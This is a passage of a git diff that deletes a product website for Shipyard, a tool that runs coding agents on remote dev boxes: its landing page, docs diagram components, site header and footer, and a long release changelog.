-
-
-
- );
-}
diff --git a/apps/shipyard/app/not-found.tsx b/apps/shipyard/app/not-found.tsx
deleted file mode 100644
index 240471203..000000000
--- a/apps/shipyard/app/not-found.tsx
+++ /dev/null
@@ -1,44 +0,0 @@
-import { Button } from "@coss/ui/components/button";
-import {
- PageHeader,
- PageHeaderDescription,
- PageHeaderHeading,
-} from "@coss/ui/shared/page-header";
-import { ArrowLeft } from "lucide-react";
-import type { Metadata } from "next";
-import Link from "next/link";
-
-export const metadata: Metadata = {
- description:
- "The page you're looking for doesn't exist or may have been moved.",
- title: "Page Not Found",
-};
-
-export default function NotFound() {
- return (
-
-
- Page Not Found
-
- The page you're looking for doesn't exist or may have been
- moved.
-
-
-
-
-
- );
-}
diff --git a/apps/shipyard/app/opengraph-image.jpg b/apps/shipyard/app/opengraph-image.jpg
deleted file mode 100644
index 0b5ba3ca0..000000000
Binary files a/apps/shipyard/app/opengraph-image.jpg and /dev/null differ
diff --git a/apps/shipyard/app/page.tsx b/apps/shipyard/app/page.tsx
deleted file mode 100644
index 411e152d8..000000000
--- a/apps/shipyard/app/page.tsx
+++ /dev/null
@@ -1,515 +0,0 @@
-import type { Metadata } from "next";
-import { LandingRuntime } from "@/components/landing/runtime";
-import { appConfig, basePath as base } from "@/lib/config";
-
-export const metadata: Metadata = {
- alternates: { canonical: appConfig.url },
-};
-
-const links = appConfig.links;
-
-// The landing page, as it was at berthd.app: the harbour, the pitch at its
-// foot, and the film's story in six chapters, each with one of the app's
-// line scenes and a short loop of the real app. Its styles are
-// app/landing.css; what moves on it (the dithered harbour, the night loop,
-// the chapters' loops and scenes, and the copy button)
-// is public/assets/*.js, brought in by components/landing/runtime.tsx
-// once the page has painted. The launch film's lightbox returns once the
-// film is hosted.
-export default function Page() {
- return (
-
-
-
- {/* The harbour: the painting, dithered and dissolving into the page by
- assets/harbour.js; the plain painting until then, or without it. */}
- {/* At night (dark mode, or the laptop closed) the harbour comes alive:
- assets/hero-loop.js brings in the film's loop after the page has
- loaded, from its first frame, dissolving into the page the same way.
- Not for reduced motion or Save-Data. */}
-
-
-
-
-
-
-
-
-
-
Agents that keep working when your laptop sleeps.
-
- Shipyard runs Claude Code, Codex and other coding agents on your own
- dev boxes. Work with them from your laptop; close it, and they keep
- going.
-
- For Apple silicon and Intel Macs, signed and notarized. Open source.{" "}
-
- How to get started
-
-
-
-
- Linux (alpha): AppImage ·{" "}
- .deb, x86-64.
-
-
-
-
- {/* Below the harbour, the film's story in six chapters: each a line scene
- with its one amber light, the film's caption, a few words, and a short
- muted loop of the real app. The loops (assets/loops/, cut by
- scripts/loops.sh) load and play only near the viewport; their posters
- stand in until then, and for good under reduced motion or Save-Data
- (assets/clips.js). */}
-
-
-
-
-
-
- Start
-
-
One line. A worktree, a box, an agent.
-
- Press ⌘N and say what you want. Shipyard makes a worktree on the
- box you choose and starts Claude Code, Codex or another agent in
- it, with its dev server in a tab of its own.
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- Watch it work
-
-
Every step, as it happens.
-
- Commands and reads fold into a line, and edits arrive as diffs.
- When Claude asks, you answer in place; what it publishes is one
- click away.
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- Side by side
-
-
Two worktrees. One view.
-
- Two worktrees share the tab strip as groups, each in its own
- colour, and split into one tab. Compare puts them in mirrored
- lanes: their chats, their diffs, their terminals.
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- Make it yours
-
-
Your themes. Your harbour.
-
- Shipyard's own themes and nineteen ports of favourites, Dracula to
- Rosé Pine, carried into the terminal and every diff. A chat
- background of your own, and ⌘+ when you want it larger.
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- It keeps going
-
-
Close the laptop. They keep going.
-
- The agents run on your boxes, not on your laptop. Close it and
- they keep working; open it in the morning and what they did is
- there.
-
-
-
-
-
-
-
-
-
- devl · 2 agents working
-
-
-
- gpu · 1 agent working
-
-
-
-
-
-
-
-
-
-
-
- Install
-
-
Your agents, docked.
-
- The app for your Mac, and berthd on each box. Free and open source.
-
- )}
-
- );
-}
diff --git a/apps/shipyard/components/docs/diagram.css b/apps/shipyard/components/docs/diagram.css
deleted file mode 100644
index 1352e68b9..000000000
--- a/apps/shipyard/components/docs/diagram.css
+++ /dev/null
@@ -1,339 +0,0 @@
-/* Diagrams (diagram.tsx): the landing page's "How it works" in a docs
- column. Neutral cards on a quiet ground, places drawn as a dashed
- outline, links as ropes with their details in chips. No colour carries
- meaning here, and no amber: that is kept for the thing that needs you.
- A stack by default; a row once the column has room (a container query,
- so it follows the column, not the window). */
-
-.berth-dg {
- --dg-line: #71737c;
- --dg-outline: #d4d5da;
- --dg-edge-w: 96px;
- --dg-label-h: 28px;
- margin: 1.75rem 0 2rem;
- container-type: inline-size;
-}
-
-.dark .berth-dg {
- --dg-line: #8a8c95;
- --dg-outline: #3a3b42;
-}
-
-.berth-dg-panel {
- background: var(--card);
- border: 1px solid var(--berth-border-soft);
- border-radius: 16px;
- padding: 14px;
-}
-
-.berth-dg-flow,
-.berth-dg-group-flow {
- display: flex;
- flex-direction: column;
- min-width: 0;
-}
-
-/* A place: a laptop, a box. */
-.berth-dg-group {
- display: flex;
- flex-direction: column;
- min-width: 0;
- border: 1px dashed var(--dg-outline);
- border-radius: 12px;
- padding: 0 9px 9px;
-}
-
-.berth-dg-group-label {
- display: flex;
- align-items: center;
- gap: 7px;
- height: var(--dg-label-h);
- margin: 0;
- padding-left: 2px;
- white-space: nowrap;
- overflow: hidden;
- text-overflow: ellipsis;
- font-size: 12.5px;
- font-weight: 500;
- color: var(--muted-foreground);
-}
-
-.berth-dg-glyph {
- width: 15px;
- height: 15px;
- flex: none;
- color: var(--dg-line);
-}
-
-.berth-dg-group-flow {
- flex: 1;
-}
-
-/* A component. */
-.berth-dg-node {
- min-width: 0;
- background: var(--background);
- border: 1px solid var(--border);
- border-radius: 10px;
- padding: 12px 13px 13px;
-}
-
-.berth-dg-title {
- margin: 0;
- font-size: 14px;
- line-height: 1.35;
- font-weight: 600;
- color: var(--foreground);
-}
-
-.berth-dg-sub {
- margin: 2px 0 0;
- font-size: 12.5px;
- line-height: 1.4;
- color: var(--muted-foreground);
-}
-
-.berth-dg-body ul {
- list-style: none;
- margin: 9px 0 0;
- padding: 0;
- display: grid;
- gap: 4px;
- font-size: 13px;
- line-height: 19px;
- color: var(--berth-fg-2);
-}
-
-.berth-dg-body li {
- position: relative;
- margin: 0;
- padding-left: 13px;
-}
-
-/* The landing page's list mark: a short dash, not a bullet. A glyph, so
- it lands on the same pixels in every row. */
-.berth-dg-body li::before {
- content: "\2013";
- position: absolute;
- left: 0;
- top: 0;
- color: var(--dg-line);
-}
-
-/* Stacked, a node is as wide as the column: its list takes two columns. */
-@container (min-width: 420px) {
- .berth-dg-body ul {
- grid-template-columns: repeat(2, minmax(0, 1fr));
- column-gap: 16px;
- }
-}
-
-.berth-dg-body p {
- margin: 8px 0 0;
- font-size: 13px;
- line-height: 1.45;
- color: var(--berth-fg-2);
-}
-
-.berth-dg-body code {
- font-size: 12px;
- color: var(--foreground);
- background: none;
- border: 0;
- padding: 0;
-}
-
-/* A link. Stacked: the label on the left of a rope that runs down, its
- details on the right. */
-.berth-dg-edge {
- display: grid;
- grid-template-columns: minmax(0, 1fr) 10px minmax(0, 1fr);
- align-items: center;
- column-gap: 12px;
- min-height: 60px;
- padding: 4px 0;
- color: var(--dg-line);
-}
-
-.berth-dg-edge-label {
- grid-column: 1;
- grid-row: 1;
- justify-self: end;
- text-align: right;
- font-size: 12.5px;
- font-weight: 500;
- line-height: 1.35;
- color: var(--foreground);
-}
-
-.berth-dg-rope {
- grid-column: 2;
- grid-row: 1;
- align-self: stretch;
- display: flex;
- flex-direction: column;
- align-items: center;
-}
-
-.berth-dg-rope-line {
- position: relative;
- display: block;
- overflow: hidden;
- flex: 1;
- width: 1.5px;
- min-height: 24px;
- background: currentColor;
-}
-
-/* A rope: dashes that travel from the thing before to the thing after. The
- dashes are a gradient on a pseudo-element that slides one period (11px),
- so only a transform moves; reduced motion stops it (global.css). */
-.berth-dg-edge[data-line="rope"] .berth-dg-rope-line {
- background: none;
-}
-
-.berth-dg-edge[data-line="rope"] .berth-dg-rope-line::before {
- content: "";
- position: absolute;
- inset: -11px 0 0;
- background: repeating-linear-gradient(
- 180deg,
- currentColor 0 6px,
- transparent 6px 11px
- );
- animation: berth-dg-down 2.4s linear infinite;
-}
-
-.berth-dg-arrow {
- width: 10px;
- height: 10px;
- flex: none;
- margin-top: -4px;
- transform: rotate(90deg);
-}
-
-.berth-dg-chips {
- grid-column: 3;
- grid-row: 1;
- display: flex;
- flex-wrap: wrap;
- gap: 5px;
- justify-content: flex-start;
-}
-
-.berth-dg-chip {
- font-size: 11.5px;
- line-height: 1.5;
- color: var(--berth-fg-2);
- background: var(--background);
- border: 1px solid var(--border);
- border-radius: 999px;
- padding: 1px 8px;
- white-space: nowrap;
-}
-
-.berth-dg-caption {
- margin: 10px 2px 0;
- max-width: 68ch;
- font-size: 13.5px;
- line-height: 1.55;
- color: var(--muted-foreground);
-}
-
-@keyframes berth-dg-down {
- to {
- transform: translateY(11px);
- }
-}
-
-@keyframes berth-dg-across {
- to {
- transform: translateX(11px);
- }
-}
-
-/* A row, once the column has room for one: nodes share the spare width
- evenly, edges keep theirs, and a group grows by the nodes in it. */
-@container (min-width: 640px) {
- .berth-dg-panel {
- padding: 16px;
- }
-
- .berth-dg-flow,
- .berth-dg-group-flow {
- flex-direction: row;
- align-items: stretch;
- }
-
- .berth-dg-node {
- flex: 1 1 0;
- }
-
- .berth-dg-body ul {
- grid-template-columns: minmax(0, 1fr);
- }
-
- .berth-dg-group {
- flex: var(--dg-nodes, 1) 1
- calc(var(--dg-edges, 0) * var(--dg-edge-w) + 20px);
- }
-
- .berth-dg-edge {
- flex: 0 0 var(--dg-edge-w);
- grid-template-columns: minmax(0, 1fr);
- grid-template-rows: 1fr auto 1fr;
- row-gap: 7px;
- min-height: 0;
- padding: 0 5px;
- text-align: center;
- }
-
- /* Between places, line up with the nodes, not the place's label. */
- .berth-dg-flow > .berth-dg-edge {
- padding-top: var(--dg-label-h);
- }
-
- .berth-dg-edge-label {
- grid-column: 1;
- grid-row: 1;
- align-self: end;
- justify-self: center;
- text-align: center;
- }
-
- .berth-dg-rope {
- grid-column: 1;
- grid-row: 2;
- flex-direction: row;
- align-self: center;
- width: 100%;
- }
-
- .berth-dg-rope-line {
- width: auto;
- height: 1.5px;
- min-height: 0;
- }
-
- .berth-dg-edge[data-line="rope"] .berth-dg-rope-line::before {
- inset: 0 0 0 -11px;
- background: repeating-linear-gradient(
- 90deg,
- currentColor 0 6px,
- transparent 6px 11px
- );
- animation-name: berth-dg-across;
- }
-
- .berth-dg-arrow {
- margin: 0 0 0 -4px;
- transform: none;
- }
-
- .berth-dg-chips {
- grid-column: 1;
- grid-row: 3;
- align-self: start;
- justify-content: center;
- }
-}
diff --git a/apps/shipyard/components/docs/diagram.tsx b/apps/shipyard/components/docs/diagram.tsx
deleted file mode 100644
index 302614a0b..000000000
--- a/apps/shipyard/components/docs/diagram.tsx
+++ /dev/null
@@ -1,183 +0,0 @@
-import {
- Children,
- type CSSProperties,
- isValidElement,
- type ReactNode,
-} from "react";
-
-// Diagrams in the landing page's language ("How it works", site/index.html):
-// neutral cards on a quiet ground, joined by ropes, with the details of a
-// link as small chips. Real HTML text, so it reads, wraps, selects and
-// translates; the line work is inline SVG and CSS. A row on a wide column,
-// a stack on a narrow one (a container query, diagram.css).
-//
-//
-//
-//
-// - Desktop app
-//
-//
-//
-//
-//
-// …
-//
-//
-// Children run in order, left to right (top to bottom when stacked). Edges
-// point from the thing before them to the thing after.
-
-type Icon = "laptop" | "box";
-
-const glyphs: Record = {
- laptop: (
- <>
-
-
-
- ),
- box: (
- <>
-
-
-
-
- ),
-};
-
-function Glyph({ name }: { name: Icon }) {
- return (
-
- );
-}
-
-export function Diagram({
- caption,
- children,
-}: {
- caption: ReactNode;
- children: ReactNode;
-}) {
- return (
-
-
-
{children}
-
- {caption}
-
- );
-}
-
-// A place things run (a laptop, a box): a labelled region around its nodes.
-export function DiagramGroup({
- label,
- icon,
- children,
-}: {
- label: string;
- icon?: Icon;
- children: ReactNode;
-}) {
- const kids = Children.toArray(children).filter(isValidElement);
- // Nodes share the row's spare width evenly, so a group grows by its nodes
- // and keeps room for the edges inside it.
- const style = {
- "--dg-nodes": Math.max(
- 1,
- kids.filter((k) => k.type === DiagramNode).length,
- ),
- "--dg-edges": kids.filter((k) => k.type === DiagramEdge).length,
- } as CSSProperties;
- return (
-
-
- {icon && }
- {label}
-
-
{children}
-
- );
-}
-
-// One component: a title, an optional line under it, and what it does as a
-// short Markdown list.
-export function DiagramNode({
- title,
- sub,
- children,
-}: {
- title: ReactNode;
- sub?: ReactNode;
- children?: ReactNode;
-}) {
- return (
-
-
{title}
- {sub &&
{sub}
}
- {children &&
{children}
}
-
- );
-}
-
-// A link from the thing before it to the thing after it. A rope (dashes that
-// travel, the landing page's) is a network connection; a solid line is a
-// local one.
-export function DiagramEdge({
- label,
- details = [],
- line = "rope",
-}: {
- label: string;
- details?: string[];
- line?: "rope" | "solid";
-}) {
- return (
-
-
-
-
- );
-}
-
-function MobileLink({
- href,
- onOpenChange,
- className,
- children,
- ...props
-}: LinkProps & {
- onOpenChange?: (open: boolean) => void;
- children: React.ReactNode;
- className?: string;
-}) {
- return (
- onOpenChange?.(false)}
- {...props}
- >
- {children}
-
- );
-}
diff --git a/apps/shipyard/components/site-footer.tsx b/apps/shipyard/components/site-footer.tsx
deleted file mode 100644
index e712c9123..000000000
--- a/apps/shipyard/components/site-footer.tsx
+++ /dev/null
@@ -1,38 +0,0 @@
-import Link from "next/link";
-import { appConfig } from "@/lib/config";
-
-export function SiteFooter() {
- return (
-
- );
-}
diff --git a/apps/shipyard/components/site-header.tsx b/apps/shipyard/components/site-header.tsx
deleted file mode 100644
index 9bb5f1f91..000000000
--- a/apps/shipyard/components/site-header.tsx
+++ /dev/null
@@ -1,33 +0,0 @@
-import { Separator } from "@coss/ui/components/separator";
-import { SiteHeader as WorkspaceSiteHeader } from "@coss/ui/shared/site-header";
-import { CommandMenu } from "@/components/command-menu";
-import { MainNav } from "@/components/main-nav";
-import { MobileNav } from "@/components/mobile-nav";
-import { appConfig } from "@/lib/config";
-import { source } from "@/lib/source";
-
-// coss.com's bar with "shipyard" as the product, Docs and Download, the
-// docs' search, and Shipyard's own repository behind the GitHub link.
-export function SiteHeader() {
- const pageTree = source.pageTree;
-
- return (
-
- }
- >
-
-
-
-
-
-
- );
-}
diff --git a/apps/shipyard/content/docs/(root)/changelog.mdx b/apps/shipyard/content/docs/(root)/changelog.mdx
deleted file mode 100644
index 5ebb89571..000000000
--- a/apps/shipyard/content/docs/(root)/changelog.mdx
+++ /dev/null
@@ -1,1277 +0,0 @@
----
-title: Changelog
-description: What changed in each Shipyard release, newest first.
----
-
-Releases are on [GitHub](https://github.com/cosscom/shipyard/releases).
-The Mac app [updates itself](/docs/getting-started/install#updates); a box
-upgrades with `berth upgrade BOX`, or by running the
-[install command](/docs/getting-started/add-a-box#with-the-install-command)
-again.
-
-## Unreleased
-- The website's header is now coss.com's: "coss.com shipyard", with Docs,
- Download, GitHub and its stars, and "Close the laptop" as an icon, and coss.com's
- lines down the sides of the page and across the top of each chapter.
-- **Review no longer keeps a box busy while an item is open.** With an item
- open, Review read the box's inbox and the item's diff again every couple of
- seconds for as long as it showed, each read setting off the next. It now
- reads them once, and again only when something changes.
-- **Make a worktree without waiting for its setup.** `worktree new --no-setup`
- creates it at once, without the setup script or autostart services, and
- `worktree setup LOC/NAME [--wait]` runs them later.
-- **Leadline: what your code did in development, as tabs on a worktree.** A
- new plugin in **Settings → Plugins → Browse** adds **Queries**,
- **Traces**, **Logs** and **Endpoints** to a worktree: every database
- query grouped by shape with its N+1s flagged, each request as a
- waterfall with its SQL and logs, and per-route latency and queries per
- request. **Send to the agent** writes a slow query, an N+1 or a failing
- endpoint up for the worktree's agent, and shows you the text before it
- goes. It is off until you turn it on for a box, which installs a small
- program there (`berth-leadline`) after asking; what it records stays on
- that box, for 72 hours. Queries to a Postgres on the box are recorded
- with no changes to your app; traces and logs need an OpenTelemetry SDK
- in it. A plugin that carries a program like this says so, by the
- program's name, before you allow it and in its row in Settings →
- Plugins. See [Leadline](/docs/guides/leadline); plugin authors get
- `berth.helper` and a `Chart` component in the
- [plugin SDK](/docs/reference/plugin-sdk#helper).
-- **Plugins can be installed from the app.** Settings → Plugins has a new
- **Browse** list of plugins that aren't built in, starting with Hello
- ports. Install puts one under Installed, off: it runs only once you allow
- it, like any plugin of your own, and after an update Shipyard asks again.
- Remove deletes one you installed this way. To list a plugin of yours, see
- [publish it to the listing](/docs/guides/plugins#publish-it-to-the-listing).
-- **Shipyard has its own mark.** The B from when the app was called Berth is
- gone: the icon is now a hull seen bow-on, resting on its keel blocks, with
- the amber lamp lit inside. It is on the app and its dock icon, the phone
- app, the site and the docs.
-- **Linear issues in Shipyard.** Paste a personal API key in **Settings →
- Integrations**, and **Issues** gets a Linear side beside GitHub: what is
- assigned to you or a team's open issues, each with its description and
- comments, and **Start an agent** on any of them, in the project you
- choose, on the branch Linear suggests for the issue. A row then shows how
- its agent is doing. Home has a **Linear** widget for what is assigned to
- you. The key stays in a file only you can read on this computer: the
- laptop agent makes every call to Linear, and the app, plugins and boxes
- never see it. See [Linear](/docs/guides/linear).
-- **`worktree new` can check out a pull request.** Pass `--pr N` with the
- pull request's head branch as `--branch`, and the worktree starts on that
- branch as origin has it. A pull request from a fork is fetched from
- `pull/N/head`, or from the ref you give with `--ref`.
-- **Links in a terminal open with ⌘-click, and say so.** A link used to
- underline and show the pointing hand on a plain hover, where a click did
- nothing, and links a program made with its own text (OSC 8) never opened
- at all. Now resting on a link shows "⌘-click to open", the hand appears
- while ⌘ is held, and ⌘-click opens the address in your browser, OSC 8
- links included (Ctrl-click in the Linux app). A long link that wraps
- over several rows, such as Codex's ChatGPT sign-in link, opens whole
- from any of its rows; before, it couldn't be clicked at all.
-- **A home widget's ⋯ menu opens again.** It broke the home screen with
- "Base UI error #31" instead of showing its Size and Refresh options.
-- **A Browser tab on a port with nothing listening no longer crashes the
- app.** Opening `http://localhost:3000` before its dev server started closed
- Shipyard half a second later, and again on every launch after, since the
- tab came back.
-- **The laptop agent is lighter per request.** Proxied pages, port forwards
- and calls to your boxes allocate a fraction of what they did, and the kits
- and team suggestions ask all your boxes at once.
-- **Shipyard opens faster.** It now loads four files before it first paints
- instead of about three hundred, and settings, dialogs and the browser pane
- load just after start. In our tests, the window drew in about a fifth of the
- time.
-- **Chats keep up while an agent writes.** A streamed reply costs about a
- third of the work it did on the page, and typing in a chat, Home's composer
- or the sidebar's menus stays quick with hundreds of worktrees.
-- **The app asks the agent and your boxes less.** An idle chat makes about
- half the requests it did, starting reads every box once, and a box's large
- answers cross the link to your laptop about ten times smaller.
-- **berthd uses less of a box.** Following a chat, a reply as it streams and
- the agents' screens runs fewer tmux commands and less CPU; a chat's own
- poll takes about a quarter of what it did.
- Opening a long conversation uses a tenth of the memory, and a cache that grew
- with every conversation now stays small.
-- **The Mac app is 20% smaller.**
-
-## v0.3.13
-
-Most of this needs each box's new `berthd`: use **Update all** in the status
-bar, or `berth upgrade BOX`.
-
-- **The Review in Shipyard button is for UI work.** berthd adds it only to a
- PR whose files change something a browser shows, agents add it only for
- such changes, and the button is the words alone, without a mark.
-
-- **Shipyard notices when your team has a setup.** If you added a project
- from `acme` yourself and acme publishes a [team setup](/docs/guides/team-setup),
- Shipyard says so quietly: a small icon on the project's row and a line in
- its menu, a line in Project settings saying what it sets up for the repo,
- a card on Home once, and **Team setup for acme** in ⌘K. **Review…** opens
- the setup with your project used as it is; nothing runs until you choose.
- **Not now** and **Don't suggest again for acme** put it away. The laptop
- checks only your projects' owners, with your own `gh`, at most daily (weekly
- for a person's account), and never offline. The project menu also has
- **Copy team setup link**. See
- [how Shipyard notices your team's setup](/docs/guides/team-setup#how-shipyard-notices-your-teams-setup).
-
-- **Just the kit from a team setup.** **Use acme's kit for this project…**
- applies only a project's kit from `acme/.berth` to the project you have: no
- box steps, sudo, clone or 1Password. The sheet lists the tools the kit needs
- and whether the box has them; the shared keys and the first-time setup are
- each an opt-in. The kit then follows the team's newer commits as an update
- to review. See [just the kit](/docs/guides/team-setup#just-the-kit).
-
-- **Team setup uses the clones you already have.** Before cloning a repo,
- Shipyard looks for one on the box: a project you added already, or a
- clone in `~/code`, `~/work`, `~/src` and the like (matched by its origin,
- reading nothing else). The page shows "Found ~/work/acme-web … · Use this
- / Clone a fresh copy", and using it changes nothing in it: no checkout,
- stash, reset or pull, and your `.env` and uncommitted changes stay as
- they are. Its existing worktrees show in the sidebar and are set up the
- first time you open each. `berth team setup … --use web=PATH` does the
- same from the command line. See
- [repositories you already cloned](/docs/guides/team-setup#repositories-you-already-cloned).
-
-- **Review links can open logged in, at a page.** Add `&as=pro@acme.test&path=/event-types`
- to a review link (or `--as` and `--path` to `berth review`), and the
- review opens in its Browser tab logged in as that dev user, at that page,
- when the project's login lists them; otherwise it opens without logging
- in, and the sheet says why. **Copy review link as…** in the worktree menu
- makes one. See [review a PR](/docs/guides/review-a-pr#opening-logged-in-at-a-page).
-
-- **A Review in Shipyard button on pull requests.** GitHub drops
- `berth://` links from PR descriptions, so a review link is now a button
- that goes through `https://berthd.app/review`, a small page that checks
- the link and opens the review in Shipyard (with a link to the PR on
- GitHub, and to install Shipyard). Agents add it to the PRs they open,
- logged in as one of the project's dev users and at the page their change
- affects (`berthd login users` lists them). Turn on `"review_button"` for a
- project (its `.berth/config.json`, Project settings, or the team's
- `team.json`) and berthd adds it to each new PR from the project's
- worktrees by itself, once, without touching the rest of the description;
- never to a fork's PR or one from outside the org.
-- **Review a PR in one click, on your own box.** A review link,
- `berth://review?repo=acme/shop&pr=42`, or `berth review acme/shop#42`,
- opens a review sheet: the PR, its author, the exact commit, the box, what
- will run there, which keys it gets, and what in the PR changes setup.
- **Review** makes a worktree at that commit, set up by your team's kit,
- and opens it with the dev server in a Browser tab and the Diff beside it.
- Only your team's projects, and only PRs by members and collaborators from
- the repository itself; never a fork's. The PR's own `.berth/` never runs,
- the review never gets your own keys, and it cleans itself up when the PR
- is merged or closed, or after a week unused. **Copy review link** is in
- every worktree's menu whose branch has a PR. See
- [review a PR](/docs/guides/review-a-pr).
-- **Open a worktree logged in as a dev user.** A kit, or a project's
- config, can name a login script and the users it logs in (`"login":
- {"script", "users", "any"}`). The Browser tab's **Log in as…** menu and ⌘K
- list them; picking one runs the script against that worktree's own dev
- server and database and sets its session for that worktree's address
- alone. Agents get the same with `berthd browser open --as EMAIL`, and
- `berthd shots compare --as EMAIL` shoots both sides logged in. A link
- works too: `http://WT.LOC.BOX.localhost:1377/__berth/login?as=EMAIL&next=/path`.
- See [kits](/docs/guides/kits#personas-logging-in-as-a-dev-user).
-
-## v0.3.12
-
-- **The Linux alpha's downloads.** v0.3.11's Linux build stopped before it
- began (Ubuntu 22.04, which it builds on for older systems, has no
- `minisign`), so v0.3.11 shipped for the Mac only. This release carries the
- AppImage and `.deb` for x86-64 and adds Linux to the update feed; see
- [Linux (alpha)](/docs/getting-started/install#linux-alpha).
-
-- **Install with Homebrew.** `brew tap cosscom/shipyard https://github.com/cosscom/shipyard`,
- then `brew install --cask cosscom/shipyard/shipyard`, installs the Mac app
- and puts `berth` on your `PATH`.
-
-- **Handed-off worktrees nest under the one they came from.** When an
- agent starts a task, or hands its work off, the new worktree shows under
- the agent's own in the sidebar, folded behind a "1 child" pill. `berthd
- worktree new … --parent NAME` nests one by hand, such as a stacked branch
- under the branch it builds on.
-
-- **GitHub flows see every worktree's PR.** One poll looks at no more than
- 20 PRs, and it always started from the same worktree, so on a box with
- more worktrees than that the rest were never looked at: a merge, review or
- failed check there started nothing. Each poll now starts where the last
- one stopped. Merged and closed PRs no longer take a turn every poll
- either; a flow looks at them again once an hour, in case one is reopened.
- [GitHub triggers](/docs/guides/automations#on-github).
-
-## v0.3.11
-
-Most of this needs each box's new `berthd`: use **Update all** in the status
-bar, or `berth upgrade BOX`. Agents keep running through the update.
-
-- **More than one way to each box.** Shipyard can now reach a box over SSH
- and at other addresses as well as over Tailscale, and sends new requests
- over the fastest route that works. When the route in use stops answering,
- requests move to another within seconds; open terminals follow once it is
- clearly down, without closing, and keys typed meanwhile still arrive. A
- box you added over SSH gets its SSH route on its own. Settings › Boxes
- shows each box's routes with their latency ("via SSH, 24 ms · Tailscale,
- 140 ms"), and turns them on or off; `berth boxes` shows the route in use
- and `berth doctor BOX` lists them all.
-- **Sessions clean up after themselves.** Ending a session now stops
- everything it started, such as a repository's Playwright tests and their
- browsers or a dev server, even ones left running in the background after
- the agent was killed. On Linux with systemd each new session runs in a
- scope of its own, which also lets it outlive berthd as before; elsewhere
- Shipyard finds the session's processes by their tree (and, on Linux, the
- session's marker). Your own processes and tmux are never touched.
-- **See and stop a box's browsers.** Click a box's memory meter in the
- status bar to see every Chromium, Chrome and Firefox on it, with who
- started it (Shipyard's agent browser, an agent-browser session, a
- session's tests, one left behind, or yours), its CPU, memory and age, and
- **Stop** for Shipyard's and its sessions'. The sessions using the most
- memory are below. Settings → Boxes shows the same, and agents see it with
- `berthd ps` and in `berthd doctor`.
-- **A memory limit per session.** Settings → Boxes can hold each session on
- a box under a limit, such as 12 GB (Linux with systemd). A session near it
- is slowed down, never stopped, and its chat and tab say "using 11.8 GB,
- near its 12 GB limit".
-- **A lighter agent browser.** It closes after 5 idle minutes instead of 10
- (agent-browser sessions too), keeps to two renderer processes, and caps a
- page's JavaScript heap at 512 MB, which saves about 35 MB per browser
- (`BERTH_BROWSER_JS_HEAP_MB` raises it).
-- **A slow or relayed link to a box stays connected and says why.** A box
- reached through a Tailscale relay far away (80 ms, then 2 s) used to flip
- to offline and back: the agent called a box away after one health check
- with no answer, and checked it whenever a request had waited 5 s. Now a
- slow or unanswered check marks the box **slow**, not offline: requests to
- it still go through and its connection, with the terminals on it, is
- kept. Only a second failure in a row takes it away (a refused connection,
- a changed key or berthd stopping still does at once), so a box that
- really went shows Reconnecting in about 20 s. A request now waits 10 s
- before it has the box checked. The status bar and sidebar say "slow",
- quietly; **Settings › Boxes** shows the latency, why it's slow, and when
- Tailscale relays the box: "Relayed through Tailscale's New York server:
- no direct connection", with what fixes it. `berth doctor BOX` says so
- too, and the agent's log has a line for every change of a box's state,
- with why. [A relayed link](/docs/concepts/laptop-agent#a-relayed-link).
-- **`berth ping` says a box's latency.** It printed one number that was
- connecting, TLS and a request together (about three round trips), so a box
- 100 ms away read as 300 ms. It now says how long connecting took, then
- pings on the open connection, as the app uses it: `cal: 88ms 90ms 118ms
- (min 88ms, avg 99ms, max 118ms on the open connection)`. `-c N` sets how
- many.
-- **Typing in a terminal keeps up on a slow link.** On a box 80 ms to 2 s
- away (a relayed Tailscale link), a shell showed each key only once the box
- had echoed it. Now what you type shows at once, underlined until the box's
- echo agrees, as in Mosh; anything the box draws differently takes every
- prediction back, and password prompts never show one. It turns on by
- itself when the round trip is over about 60 ms: **Settings → Terminal →
- Predict typing** has Always and Never too. See
- [Terminals](/docs/guides/terminals#typing-on-a-slow-link).
-- **The Browser tab's address follows the page.** An app that changes pages
- on the client (Next.js, React Router: `history.pushState`) left the
- address bar on the first URL, since nothing loaded. It now shows where the
- page is, within half a second.
-- **Every agent account gets Shipyard's hooks and skills.** A Claude Code or
- Codex session started on another account (the Usage plugin's accounts,
- which set `CLAUDE_CONFIG_DIR` or `CODEX_HOME`) ran without Shipyard's
- hooks, so the box guessed from the screen when it was working, done or
- needed you, and without Shipyard's skills. `berthd integrations install`
- now puts them in every account folder (the default, those in
- `~/.berth/accounts`, and any the box or a project picks), **Add account…**
- puts them in the new one, and berthd adds them to an account a session
- starts on before its agent runs. `berthd integrations` and `berthd doctor`
- list them per account. See
- [Agent integrations](/docs/guides/agent-integrations#every-account).
-- **A chat on another account reads its conversation.** An agent started on
- another Claude Code or Codex account (the Usage plugin's accounts, which
- set `CLAUDE_CONFIG_DIR` or `CODEX_HOME`) wrote its conversation to that
- account's folder, and the box only looked in its own: the chat said "Its
- conversation can't be read here yet" and emptied after every message. The
- box now reads each session's conversation from the account it started on.
-- **Berth is now Shipyard.** A new name, nothing else: the same app, the
- same CLI and the same boxes, with your data where it was. The commands are
- still `berth` and `berthd`, and their files (`~/.berth`, a repository's
- `.berth/`, `BERTH_*` variables, `berth://` links) keep their names for now.
- A new download is `Shipyard.app`; an installed `Berth.app` updates in
- place and keeps its folder name. Releases before this one went out as
- Berth.
-- **Shipyard for Linux, an alpha.** The desktop app now ships for x86-64
- Linux as an AppImage, which updates itself from the same feed as the Mac
- app, and as a .deb. It's an alpha: less tested than the Mac app, and its
- sidebar and **Settings → About** say so, with **Report a Linux bug** in
- About. Ctrl stands in for ⌘ (in a terminal, add Shift: Ctrl+Shift+T, and
- Ctrl+Shift+C and V copy and paste); there's no menu bar; **Start at
- login** makes the agent a systemd user service. arm64 isn't built yet.
- [Linux (alpha)](/docs/getting-started/install#linux-alpha).
-
-## v0.3.10
-
-- **What's new, once after an update.** The Mac app updates itself
- quietly, so its new things went unseen. After an update, a note at the
- foot of the sidebar says what's new (with the sidebar folded, the card
- opens instead). The card shows the release's highlights one at a time,
- each with a small picture of it in the app and **Show me**, which goes
- there: the worktree's artifacts board, a visual diff, a Browser tab with
- its console open, or renaming a worktree; the rest show their keys or
- their guide. ← and → page through it, Esc closes it. A new install
